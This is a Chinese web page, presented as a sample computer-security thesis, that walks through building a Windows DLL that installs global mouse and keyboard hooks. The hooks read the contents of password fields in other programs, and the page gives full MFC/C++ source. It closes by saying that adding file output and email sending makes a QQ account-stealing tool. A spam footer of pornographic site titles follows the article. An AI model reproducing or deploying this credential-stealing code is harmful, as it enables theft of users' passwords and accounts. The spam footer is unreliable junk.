• <output id="aynwq"><form id="aynwq"><code id="aynwq"></code></form></output>

    <mark id="aynwq"><option id="aynwq"></option></mark>
  • <mark id="aynwq"><option id="aynwq"></option></mark><label id="aynwq"><dl id="aynwq"></dl></label>
  • 學習啦 > 論文大全 > 學科論文 > 計算機論文 > 計算機安全畢業論文:利用鼠標鍵盤鉤子截獲密碼

    計算機安全畢業論文:利用鼠標鍵盤鉤子截獲密碼

    時間: 謝樺657 分享

    計算機安全畢業論文:利用鼠標鍵盤鉤子截獲密碼

      鉤子(Hook),是Windows消息處理機制的一個平臺,應用程序可以在上面設置子程以監視指定窗口的某種消息,而且所監視的窗口可以是其他進程所創建的。當消息到達后,在目標窗口處理函數之前處理它。鉤子機制允許應用程序截獲處理window消息或特定事件。以下是學習啦小編今天為大家精心準備的計算機安全畢業論文范文:利用鼠標鍵盤鉤子截獲密碼。內容僅供參考,歡迎閱讀!

      利用鼠標鍵盤鉤子截獲密碼全文如下:

      鉤子能截獲系統并得理發送給其它應用程序的消息,能完成一般程序無法完成的功能。掌握鉤子的編程方法是很有必要的

      鉤子分類 :

      1、WH_CALLWNDPROC和WH_CALLWNDPROCRET: 使你可以監視發送到窗口過程的消息

      3、WH_DEBUG 調試鉤子

      4、WH_FOREGROUNDIDLE 當當應用程序的前臺線程大概要變成空閑狀態時,系統就會調用 WH_FOREGROUNDIDL

      5、WH_JOURNALRECORD 監視和記錄輸入事件

      6、WH_JOURNALPLAYBACK 回放用WH_JOURNALRECORD記錄事件

      7、WH_KEYBOARD 鍵盤鉤子

      9、WH_KEYBOARD_LL 低層鍵盤鉤子

      10、WH_MOUSE 鼠標鉤子

      11、WH_MOUSE_LL 底層鼠標鉤子

      12、WH_SHELL 外殼鉤子

      13、WH_MSGFILTER 和 WH_SYSMSGFILTER 使我們可以監視菜單,滾動條,消息框等

      安裝鉤子:

      調用函數SetWindowsHookEx安裝鉤子。其函數原型為:

      HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )

      idHook表示鉤子類型,它是和鉤子函數類型一一對應的。如,WH_KEYBOARD,WH_MOUSE。

      Lpfn是鉤子函數的地址。

      HMod是鉤子函數所在的實例的句柄。對于線程鉤子,該參數為NULL;對于系統鉤子,該參數為鉤子函數所在的DLL句柄。 (系統鉤子必須在DLL中)

      dwThreadId 指定鉤子所監視的線程的線程號。對于全局鉤子,該參數為NULL。

      SetWindowsHookEx返回所安裝的鉤子句柄。

      卸載鉤子

      調用函數 BOOL UnhookWindowsHookEx( HHOOK hhk)卸載鉤子

      定義鉤子函數

      鉤子函數是一種特殊的回調函數。鉤子監視的特定事件發生后,系統會調用鉤子函數進行處理。一般為下:

      LRESULT WINAPI MyHookProc(int nCode ,WPARAM wParam,LPARAM lParam)

      參數wParam和 lParam包含所鉤消息的信息,比如鼠標位置、狀態,鍵盤按鍵等。nCode包含有關消息本身的信,比如是否從消息隊列中移出。

      實例:

      下面我們通過安裝鼠標鉤子。和鍵盤鉤子還截獲輸入的密碼,并可查看*密碼為例,來說明何何使用鉤子。

      1,進入向導,新建MFC AppWizard(dll) 取名為GetPass,選擇MFC Extension DLL,完成。

      2,新建一個CGetPassHook 類,基類:CObject,并加入StartHook,StopHook,函數,如下:

      class AFX_EXT_CLASS CGetPassHook : public CObject

      {

      public:

      BOOL StopHook();

      BOOL StartHook(HWND hwnd);

      CGetPassHook();

      virtual ~CGetPassHook();

      };

      3:加入全局共享數據,如下:

      #pragma data_seg("ShareData")

      HHOOK hKeyBoardHook=NULL; file://keyboar hook

      HHOOK hMouseHook=NULL; file://mouse hook

      HINSTANCE glhInstance=NULL; file://globle instance

      HWND hOutPutWnd=NULL; file://Display Pass Wnd

      #pragma data_seg()

      4:加入鼠標,鍵盤鉤子處理函數,如下:

      LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam)

      { file://鼠標鉤子得理函數

      LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam;

      if(nCode>=0)

      {

      HWND hTargetHwnd=lpMouse->hwnd; file://得到鼠標所在窗口句柄

      if(hTargetHwnd)

      {

      LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); file://得到它的樣式

      if(style&ES_PASSWORD) file://如果是密碼框

      {

      char szPass[255];

      ::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);

      file://得到密碼

      ::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);

      file://顯示密碼

      }

      }

      }

      return CallNextHookEx(hMouseHook,nCode,wParam,lParam);

      file://加上這句,就可以繼續傳遞消息,如果沒有,則會取消此消息的傳遞,

      file://可以起到截兒消息的目的,我們這里調用之。

      }

      LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)

      { file://keyboard hook proc

      if(nCode>=0)

      {

      HWND hTargetHwnd=GetActiveWindow(); file://get active window

      if(hTargetHwnd)

      EnumChildWindows(hTargetHwnd,EnumWndProc,0); file://枚舉所有窗口

      }

      return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);

      file://加上這句,就可以繼續傳遞消息,如果沒有,則會取消此消息的傳遞,

      file://可以起到截兒消息的目的,我們這里調用之。

      }

      這里要介紹下EnumChildWindows函數,原形如下:

      BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROC lpEnumFunc,LPARAM lParam);

      hWndParent:為枚舉窗口的句柄

      lpEnumFunc:枚舉函數的地址,

      lParam:這里為0

      5:加入枚舉窗口的函數。如下:(注意,因為前面的函數據要用到此函數,所以要么在前面聲明,要么放在上面函數之前定義。

      BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam)

      { file://enum the child window,find passedit

      if(hwnd)

      {

      LONG style=::GetWindowLong(hwnd,GWL_STYLE); file://得到STYLE

      if(style&ES_PASSWORD) file://是密碼框

      {

      char szPass[255];

      ::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); file://得到PASS

      ::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); file://顯示

      return TRUE;

      }

      }

      return TRUE;

      }

      6:在DEF文件中定義段屬性: (這步很重要)

      SECTIONS

      mydata READ WRITE SHARED

      7:完成StartHook,StopHook函數,啟動/關閉鉤子,如下:

      BOOL CGetPassHook::StartHook(HWND hwnd)

      { file://install hoook

      hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);

      file://mouse hook

      hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0);

      file://keyboard hook

      if(hMouseHook&&hKeyBoardHook)

      {

      hOutPutWnd=hwnd; file://顯示密碼的句柄

      return TRUE;

      }

      return FALSE;

      }

      BOOL CGetPassHook::StopHook()

      { file://unstall hook

      BOOL mHook=UnhookWindowsHookEx(hMouseHook);

      BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);

      if(mHook&&kHook)

      return TRUE;

      return FALSE;

      }

      8:在DLLMAIN函數中得到DLL句柄,要用到glhInstance變量,因此要加入一句,如下:

      extern HINSTANCE glhInstance; file://記得這里

      extern "C" int APIENTRY

      DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)

      {

      UNREFERENCED_PARAMETER(lpReserved);

      if (dwReason == DLL_PROCESS_ATTACH)

      {

      TRACE0("GETPASS.DLL Initializing!n");

      if (!AfxInitExtensionModule(GetPassDLL, hInstance))

      return 0;

      new CDynLinkLibrary(GetPassDLL);

      glhInstance=hInstance; file://得到句柄

      }

      else if (dwReason == DLL_PROCESS_DETACH)

      {

      TRACE0("GETPASS.DLL Terminating!n");

      AfxTermExtensionModule(GetPassDLL);

      }

      return 1; // ok

      }

      9:編譯,完成DLL部分,

      下面建立APP部分。如下:

      1:新建MFC AppWizard(exe)命名為GetPassWord,并在第一步中選擇Add to Current WorkSpace加入到當前工作區,這樣方便。

      2:將剛才的DLL中的GetPass.lib,和GetPassHook.h拷貝APP所在目錄,然后Project->Add to Project-->Files

      選擇這兩個文件。

      2:在主對話框中,加入一個EDIT,ID 為IDC_EDIT_PASS

      3:在CGetPassWordDlg.h中包含GetPassHook.h文件,聲明一個對象。如下:

      #include "GetPassHook.h"

      class CGetPassWordDlg : public CDialog

      {

      protected:

      CGetPassHook m_hook;

      。。。

      DECLARE_MESSAGE_MAP()

      };

      4:在實現文件中:OnInitDialog()中起動HOOK

      BOOL CGetPassWordDlg::OnInitDialog()

      {

      CWnd *pWnd=GetDlgItem(IDC_EDIT_PASS);

      m_hook.StartHook(pWnd->GetSafeHwnd()); file://install hook

      return TRUE; // return TRUE unless you set the focus to a control

      }

      5:加入WM_DESTROY消息,在退出程序時停止HOOK,如下:

      void CGetPassWordDlg::OnDestroy()

      {

      CDialog::OnDestroy();

      m_hook.StopHook(); file://stop hook

      }

      6:將GetPass.dll拷貝到。EXE一個目錄下,

      7:編譯,運行.

      這樣,你在輸入任何密碼框輸入密碼時,密碼都將截獲。就算鍵盤HOOK失效,移動鼠標到密碼框,也都獲取*號密碼,因為我們安裝兩個HOOK。啟動QQ,輸入密碼,試下看是否已經截獲了密碼?將本程序稍做修改,將截獲的密碼輸出到文件,并加入發送郵件攻能,一個QQ盜號器就做成了。

    399530 主站蜘蛛池模板: 小小视频在线版观看| 男人扒开双腿女人爽视频免费| 日本网址在线观看| 国产日韩综合一区二区性色av| 亚洲小视频在线观看| 97无码人妻福利免费公开在线视频| 特黄特色大片免费播放路01| 天天射天天操天天| 人人澡人人澡人人看添av| 9久9久热精品视频在线观看| 激情综合色五月六月婷婷| 在线播放免费人成毛片试看| 亚洲精品成人图区| 91精品视频在线免费观看| 欧美日韩亚洲国产| 国产精品一级毛片不收费| 亚洲2022国产成人精品无码区| 黄a大片av永久免费| 日本最新免费二区三区| 四虎精品视频在线永久免费观看| 中文字幕日本一区| 精品美女在线观看| 女人18毛片黄| 亚洲欧美日韩精品久久久 | 国产成人精品啪免费视频| 日韩欧美在线不卡| 国产一区二区三区欧美| 七次郎在线视频精品视频| 男人日女人动态视频| 国产羞羞视频在线播放| 亚洲av日韩av无码av| 调教羞耻超短裙任务| 少妇AV射精精品蜜桃专区| 人人妻人人添人人爽日韩欧美| 69p69国产精品| 曰批免费视频试看天天视频下 | 欧美交a欧美精品喷水| 国产成人精品美女在线| 中文字幕伊人久久网| 男女一进一出呻吟的动态图| 国产精品线在线精品|